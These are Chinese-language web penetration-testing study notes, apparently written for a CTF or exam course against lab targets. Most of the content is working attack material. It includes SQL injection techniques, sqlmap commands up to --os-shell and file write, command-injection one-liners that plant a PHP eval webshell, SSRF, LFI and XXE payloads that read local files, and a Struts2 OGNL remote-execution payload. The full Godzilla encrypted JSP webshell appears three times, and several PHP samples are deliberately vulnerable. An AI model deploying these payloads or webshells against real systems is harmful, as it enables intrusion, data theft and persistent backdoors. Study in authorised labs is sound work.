gbk 中文
utf-8
mysql:数据库使用gbk编码方式
php:魔术转义符
使用%df
跟省下的字节去组成一个汉字实现闭合。
例题:
insert
insert into news values (0, '123', '456')
闭合方式 123’,‘456’)#
insert into news values (0, '123
', '456')#','')
1.闭合方式(确定sql语句格式、列数)
2.字段匹配
3.字段类型(int 日期 时间)
update
先将恶意字符入库,再代入(有两种方式取值:1.session取值 2.数据库select取值)查询。
// session取值
$username = $_SESSION['username'];
// admin'
update users set password='$pass' where username='admin'#' and password='$curr_pass'
使用 admin'#
完成闭合,通过修改admin'#
用户密码的方式,基于注入,实际修改的是admin
用户的密码,通过'#
拼接and password='$curr_pass'
跳过了原密码的验证。
例题:sqli/Less-24
update users set password='$pass' where username='admin
'#' and password='$curr_pass'
正常sql语句
update users set password='$pass' where username='admin' and password='$curr_pass'
目前注入点,只支持查询select。
使用pdo模式,支持增删改查操作。
选取chujiban数据库中 news 表的 id, title 和 content 字段,并放到 HTML 表格中:
<?php
header("Content-Type:text/html;charset=utf-8");
echo "<table style='border: solid 1px black;'>";
echo "<tr><th>Id</th><th>标题</th><th>内容</th></tr>";
class TableRows extends RecursiveIteratorIterator {
function __construct($it) {
parent::__construct($it, self::LEAVES_ONLY);
}
function current() {
return "<td style='width:150px;border:1px solid black;'>" . parent::current(). "</td>";
}
function beginChildren() {
echo "<tr>";
}
function endChildren() {
echo "</tr>" . "\n";
}
}
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "chujiban";
$id = $_GET['id'];
if(!empty($id)) {
try {
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $conn->prepare("SELECT id, title, content FROM news where id = '$id'");
$stmt->execute();
// 设置结果集为关联数组
$result = $stmt->setFetchMode(PDO::FETCH_ASSOC);
foreach(new TableRows(new RecursiveArrayIterator($stmt->fetchAll())) as $k=>$v) {
echo $v;
}
}
catch(PDOException $e) {
echo "Error: " . $e->getMessage();
}
}
$conn = null;
echo "</table>";
?>
浏览器打开php页面
单引号闭合
基于pdo模式进行注入
原sql代码SELECT id, title, content FROM news where id = '$id'
,通过浏览器输入http://127.0.0.1/pdo.php?id=2%27;update%20news%20set%20title=0x61626364%20where%20id=1%23
,实现了对id=1的数据修改。
注意:1.第一个sql语句后要加分号;2.实现这种操作基于拥有update权限。
查询id=1的数据验证更改成功。
通过浏览器输入http://127.0.0.1/pdo.php?id=1%27;insert into news values(0, 'abc', 'def')%23
可以实现数据插入。
条件:
secure-file-priv=""
load_file(filename)
SELECT LOAD_FILE('D:/phpstudy_pro/WWW/1.txt');
1.数据库权限 增删改查
2.文件权限 读写
GRANT FILE,SELECT ON chujiban.* TO 'chujiban1'@'%' INENTIFIED BY '123456';
into outfile "c:/xxx.txt"
select 1 into outfile "c:/2.txt";
条件:
secure-file-priv=""
mysql.ini->参数secure-file-priv
1.null 不允许导入导出
2.“”允许导出到任意位置
3.特定位置
例题:
1.找到注入点
通过在根目录上传phpinfo.php,然后查看在phpinfo页面搜索ROOT,可以查找到路径
2.写入一句话木马 写入考试地址/var/www/html/
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,"<?php eval($_POST['pass']);?>" into outfile "/var/www/html/1.php"%23
3.使用哥斯拉连接
4.找flag
find / -name *flag*
——基于python 基于http请求
kali下的sqlmap命令:
sqlmap -u "http:xxx\id=1"
2.查看数据库
sqlmap -u "http:xxx\id=1" --dbs
3.查看表
sqlmap -u "http:xxx\id=1" -D 数据库名 --tables
4.查看列
sqlmap -u "http:xxx\id=1" -D 数据库名 -T 表名 --columns
5.查看详细信息
sqlmap -u "http:xxx\id=1" -D 数据库名 -T 表名 --columns --dump
-h 帮助文档
-u 指定url
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1
–proxy 使用代理查看sqlmap的每次payload请求
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --proxy=http://127.0.0.1:8080
–current-user 指定当前用户
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --current-user
–current-db 指定当前数据库
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --current-db
–dbs 查看所有数据库
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs
–users 查看所有用户
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --users
–password 获取密码hash
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --password
-D 指定数据库
–tables 查看指定数据库下的所有表
查看security数据库下的所有表
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security --tables
-T 指定表
–columns 查看指定数据库指定表下的所有列
查看security数据库下的users表的所有列
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --columns
-C 指定列
-C username,password 指定username,password列输出
–dump 查看表信息,导出数据
查看security数据库下的users表的username,password列输出
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users -C username,password --dump
查看security数据库下的users表信息
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --dump
//从第一条开始,到第五条
–start 1 --stop 5
查看security数据库下的users表信息前五条
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --dump --start 1 --stop 5
针对post请求的两种方式:
python sqlmap.py -r 1.txt
python sqlmap.py -r 1.txt --dbs
python sqlmap.py -r 1.txt -D 数据库名 -T 表名 --dump
python sqlmap.py -u "http://127.0.0.1/sqli/Less-11/" --data "uname=1&paawd=1&submit=Submit"
–cookie 指定cookie
python sqlmap.py -u "http://127.0.0.1/sqli/Less-11/" --data "uname=1&paawd=1&submit=Submit"
User-Agent注入
* 指定注入参数位置
后续跟 -r 使用文件注入步骤一样,唯一区别为在sqlmap启动的时候会有一个是否对标记注入点进行payload的确认,如下。
sqlmap注入带来的User-Agent为sqlmapxxx问题
使用参数–random-agent 实现随机User-Agent解决。
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --random-agent
–flush-session 刷新缓存
-v 0-6 显示等级
1 默认
2 debug信息
3 显示payload信息
4 显示请求头
5 显示返回头
6 显示完整返回包
–level 1-5 默认1
1 普通探测
2 探测cookie
3 探测user-agent
User-Agent注入:对burp取到的抓包内容直接进行探测
python sqlmap.py -r 3.txt --level 3
4 探测refer
5
在4种注入方式都支持的情况下,注入方式使用的优先级顺序为
–technique=U,E,B,T
–threads 10
–sql-shell sqlmap提供的模拟mysql的shell
使用pdo进行测试:
python sqlmap.py -u "http://127.0.0.1/pdo.php?id=1" --sql-shell
非pdo模式不支持堆语句查询,以sqli/Less1测试:
–privileges 查看用户权限
两大前提:
1 所有的权限(1,2,3)
2 知道根路径
load_file()
into outfile “”
–os-shell 获取一个系统shell
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --os-shell
针对于找到注入点,但是无法在数据库中查询到flag的情况
找到注入点 添加 --os-shell
1.使用默认sqlmap自导的几个路径
2.自写路径地址
3.路径字典-绝对路径 c:/file.txt
4.使用sqlmap自带的路径字典(linux路径)
输入路/var/www/html
上传小马
上传大马
哥斯拉连接
ps:另外一个文件用于执行系统命令
–os-shell 本质:
into outfile “”
into dumpfile “”
–file-read load_file() 前提:有读取权限
python sqlmap.py -u "http://127.0.0.1:80/sqli/Less-1/?id=1" --file-read=D:/phpstudy_pro/WWW/1.txt
上传:
–file-write=1.php 指定本地的php文件
–file-dest=c:/phpstudy_pro/www/1.php 指定远程路径地址
# 在注入点把F:/迅雷下载/网安/archive/渗透工具/SQL注入/sqlmap/sqlmapproject-sqlmap-62bba47/3.txt上传到D:/phpstudy_pro/WWW/2.txt文件中
python sqlmap.py -u "http://127.0.0.1:80/sqli/Less-1/?id=1" --file-dest=D:/phpstudy_pro/WWW/2.txt --file-write=F:/迅雷下载/网安/archive/渗透工具/SQL注入/sqlmap/sqlmapproject-sqlmap-62bba47/3.txt
–prefix 增加前缀
--prefix '\'
–suffix 增加后缀
base64encode base64编码
between between替换大于号
equaltolike 过滤=,=换成like
concat2concatws 过滤concat
nonrecursivereplacement 关键字双写
randomcase 关键字随机大小写
space2morecomment 随机注释符代替空格
space2randomblank 随机空白符替换空格
unmagicquotes 宽字节
varnish 伪造http头 X-originating-IP
xforwardedfor 伪造http头 X-Forwarded-For
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --tamper=between,equaltolike,concat2concatws,randomcase,space2morecomment,varnish,xforwardedfor --random-agent --threads 10
场景:路由器/运维机 ping命令
// ping.php
<?php
$ip = $_POST['ip'];
// system exec shell_exec ``
if(!empty($ip)) {
$cmd = "ping ".$ip;
system($cmd);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ping</title>
</head>
<body>
<form action="" method="post">
ip:<input type="text" name="ip"><br>
<input type="submit" value="ping">
</form>
</body>
</html>
# 真真
ping 127.0.0.1 ; whoami
# 假真
ping 777.0.0.1 ; whoami
# 其他可用命令,如
# 假真
cat 1.txt ; whoami
# 真真
find /var/www/html/ -name 题目文件名.php ; whoami
# 假真
ping 777.0.0.1 || whoami
# 其他可用命令,如
# 假真
cat 12138.txt || whoami
# 假真
find / -name 12138.php || whoami
# 真真
ping 127.0.0.1 | whoami
# 假真
ping 777.0.0.1 | whoami
# 其他可用命令,如
# 真真
find /var/www/html/ -name 题目文件名.php | whoami
# 假真
cat 12138.txt | whoami
# 真真
ping 127.0.0.1 && whoami
# 其他可用命令,如
# 真真
find /var/www/html/ -name 题目文件名.php && whoami
# 真真
ping 127.0.0.1 & whoami
# 假真
ping 777.0.0.1 & whoami
# 其他可用命令,如
# 真真
find /var/www/html/ -name 题目文件名.php & whoami
# 假真
cat 12138.txt & whoami
C:\Users\dongy>ping 127.0.0.1 && whoami
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
127.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms
dy-pc\dongy
C:\Users\dongy>ping 777.0.0.1 && whoami
Ping 请求找不到主机 777.0.0.1。请检查该名称,然后重试。
C:\Users\dongy>ping 127.0.0.1 & whoami
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
127.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms
dy-pc\dongy
C:\Users\dongy>ping 777.0.0.1 & whoami
Ping 请求找不到主机 777.0.0.1。请检查该名称,然后重试。
dy-pc\dongy
C:\Users\dongy>ping 127.0.0.1 || whoami
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
127.0.0.1 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms
C:\Users\dongy>ping 777.0.0.1 || whoami
Ping 请求找不到主机 777.0.0.1。请检查该名称,然后重试。
dy-pc\dongy
C:\Users\dongy>ping 127.0.0.1 | whoami
dy-pc\dongy
C:\Users\dongy>
C:\Users\dongy>ping 777.0.0.1 | whoami
dy-pc\dongy
127.0.0.1 | echo '<?php @eval($_POST[12138]);?>' >> /var/www/html/12138.php
127.0.0.1 | find / -name *flag*
127.0.0.1 | whoami
xss 跨站脚本攻击(窃取cookie) 反射型和存储型
script
xxx.php?xxx=<script>alert(1111)</script>
document.cookie
xxx.php?cookie=document,cookie
csrf 跨站请求伪造
ssrf 攻击(参数image=后面的)可以爆破,主机地址不可以爆破)
http://www.xxx.com/a.php?image=http://xxx.com/1.jpg
http://www.xxx.com/a.php?image=http://10.211.55.18/1.jpg
//ssrf.php
<?php
if(isset($_REQUEST['url'])) {
$_link = $_REQUEST['url'];
//$filename = './curled/'.time().'.txt';
$curlobj = curl_init($_link);
//$fp = fopen($filename, "W");
//curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);
curl_exec($curlobj);
curl_close($curlobj);
//fclose($fp);
//$fp = fopen($filename, "r");
//$result = fread($fp, filesize($filename));
//fclose($fp);
//echo $curlobj;
}else {
echo "start!";
}
?>
读取文件
http://127.0.0.1/ssrf.php?url=file://C:\Windows\System32\drivers\etc\hosts
?url=file://C:\Windows\System32\drivers\etc\hosts
前后端分离→前端 + 后端:考试平台→vue + golang(编译型语言,不同于php解释型语言)→编译后为可执行程序
token ≈ session,cookie
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zip:// — 压缩流
6 phar:// — PHP 归档
7 glob:// — 查找匹配的文件路径模式
8 data:// — 数据(RFC 2397)
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
// i.php 文件包含
<?php
$file=$_GET['file'];
include $file;
?>
相对路径
绝对路径
退级查找文件
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../1.txt
绝对路径查找文件
//将文件内容转换成base64编码
php://filter/convert.base64-encode/resource=xxx.php
php://filter/read=convert.base64-encode/resource=xxx.php
// 用来执行php代码,通常以post方式
127.0.0.1/i.php?file=php://input
写入一句话代码
//phpinput.php
<?php
$file=fopen("dy12138.php","w");
fwrite($file, "<?php eval(\$_POST['pass'])?>");
fclose($file);
?>
burp写入一句话木马
连接成功
4. zip:// phar:// — 压缩流
http://127.0.0.1/i.php?file=zip://d:\phpstudy_pro\www\1.zip%23123.txt
http://127.0.0.1/i.php?file=phar://d:\phpstudy_pro/www\1.zip\123.txt
http://127.0.0.1/i.php?file=http://127.0.0.1/1.txt
1016考试题整理
思路:文件包含,在不知道其他文件的情况下,先读文件本体,也可考虑使用php://input通过写入shell的方式获取flag,但是需要php.ini中allow_url_include=On
无法读取,考虑是否为base64编码。
参考
实验一:有回显读本地敏感文件(Normal XXE)
这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件.
本地服务器上放上解析 XML 的 php 代码:
示例代码:xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
burp对127.0.0.1/xml.php抓包,send to repeater → 改为POST 提交方式
添加参数
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY t12138 SYSTEM "file:///d:/phpstudy_pro/www/1.txt"> ]>
<creds>&t12138;</creds>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY t12138 SYSTEM "file:///d:/phpstudy_pro/www/1.txt"> ]>
<creds>&t12138;</creds>
同理,php://filter 同样适用
//将文件内容转换成base64编码
php://filter/convert.base64-encode/resource=xxx.php
php://filter/read=convert.base64-encode/resource=xxx.php
同源策略介绍:
解决跨域问题,有两种办法:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<button id="mybtn">jsonp</button>
<script>
//调用这个数据里面的函数,拿回来请求的数据
function callbackFunction(obj) {
console.log(obj)
}
mybtn.onclick = function () {
var oscript = document.createElement("script")//动态创建script节点
oscript.src = `https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction`//请求数据的地址
document.body.appendChild(oscript)//将节点插入到body里面
oscript.onload = function(){
//删除当前script节点
oscript.remove()
}
}
</script>
</body>
</html>
产生漏洞:jsonp挟持
JSONP劫持,就是攻击者attacker通过构造设计一个网站evil(网站中包含其他网站的JSONP漏洞利用代码,具体为回调函数和script标签)请求用户已注册并登录的网站victim(含有JSONP漏洞,该网站对来自网站evil的请求没有进行安全检查直接返回数据)将数据通过alert弹窗等方式返回到网站victim并显示用户在网站victim的注册信息。
总结:JSONP劫持就是利用scirpt标签的src属性实现跨域请求,获取网站数据的过程。
apache
php服务 → 列目录 → 帮助了解web架构
列目录:
可以使用目录扫描工具,通过DIR.txt→PHP.txt→phptop2500.txt→phptop10000.txt字典,扫描目录。
nginx
虚假原因:nginx < 0.8 出现了1.jpg可使用1.jpg/*.php执行图片文件的漏洞
真实原因:php.cgi配置问题导致的畸形解析漏洞
一般通过畸形解析漏洞结合上传白名单考察。
先尝试是否可以直接上传php,不行的话使用图片一句话木马。
靶机地址:http://ctf.vivivi.vip:30011/
图片加入一句话木马
copy 1.jpg/b + phpinput.php test.jpg
上传→执行→查看文件。
应用于java → 具有管理页面
本地tomcat默认口令:admin:admin
基于tomcat通过jsp文件的一句话木马连接哥斯拉:
Tomcat PUT方法任意写文件漏洞
对tomcat抓包send to repeater,然后修改方法为PUT,添加jsp文件名,写入文件内容,这里可以使用哥斯拉创建的jsp格式的一句话木马。
//pass111
<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}
%>
连接成功。
1.上传文件漏洞
仍然使用哥斯拉生成的上一个war包
上传war包
一直下一步下一步,直到完成,然后验证木马已经上传。
哥斯拉连接成功。
2.弱口令
3.ssrf漏洞
自查
java + tomcat框架 文件名:login.action login.do
漏洞类型:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
工具使用:Struts2综合利用.jar
1.输入网址,点击验证。
2.命令执行:只能查看,不能写入
3.上传到根目录
上传成功。
页面访问上传的jsp文件
此处可传入一句话木马。
//pass111
<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}
%>
写入成功。
4.上传到指定目录
注意修改路径
上传成功
工具使用:Struts2漏洞检查工具2019版 V2.3
1.输入网址,点击验证。
2.查看漏洞信息
3.命令执行
4.文件上传
直接点击上传为上传到根目录,也可以自定义目录。
上传成功
此处可以上传一句话木马(jsp)
//pass111
<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}
%>